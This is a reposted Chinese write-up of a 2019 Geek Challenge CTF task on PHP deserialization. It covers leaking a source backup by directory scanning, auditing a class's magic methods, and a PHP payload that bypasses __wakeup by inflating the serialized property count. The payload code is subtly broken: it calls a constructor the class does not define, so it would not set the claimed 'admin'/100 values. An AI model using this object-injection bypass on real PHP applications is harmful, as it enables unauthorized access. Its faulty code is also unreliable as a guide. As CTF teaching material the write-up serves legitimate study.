首页 / PHP / 2019极客大挑战PHP反序列化

2019极客大挑战PHP反序列化

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了2019极客大挑战PHP反序列化，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1223字，纯文字阅读大概需要2分钟。

内容图文

1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露，通过目录扫描工具可以获取到备份文件：www.zip包含其源码。
2. 对其源码进行审计
　　a. index.php 包含文件index.php；通过get方式获取一个参数select，并对参数select进行反序列化

　　2019极客大挑战PHP反序列化 - 文章图片

　　b. class.php 包含flag.php。主体部分为一个Name类，
　　i. 有两个私有变量username，password
　　ii. 构造方法__construct($usernam,$password)
　　iii. 魔幻函数__wakeup()，在进行反序列化时调用，给变量username赋值为guest
　　iv. 销毁函数__destruct()，结束对象是执行
　　　　1) 第一个if判断是password是否为100。如果不为100就结束方法。
　　　　2) 第二个if判断username是否为'admin'，且为字符串。如果满足条件就输出flag
2019极客大挑战PHP反序列化 - 文章图片

 

3. 解题思路：由index.php中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数，绕过wakeup()函数，最后执行destruct时，username='admin',password=100满足if条件输出flag
4. payload

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
  //username==='admin' password = 100    
}

//通过构造方法username='admin' password = 100
$a = new Name('admin',100);
//序列化操作，并对字符串进行URL编码，因为Name类的变量为私有变量，避免打印时漏掉空格
$b = urlencode(serialize($a));
//修改属性的的个数，绕过__wakeup()函数
$b = str_replace('%3A2%3A','%3A3%3A',$b);

echo $b ;

?>

flag
2019极客大挑战PHP反序列化 - 文章图片

 

内容总结

以上是互联网集市为您收集整理的2019极客大挑战PHP反序列化全部内容，希望文章能够帮你解决2019极客大挑战PHP反序列化所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/623599.html

来源：【匿名】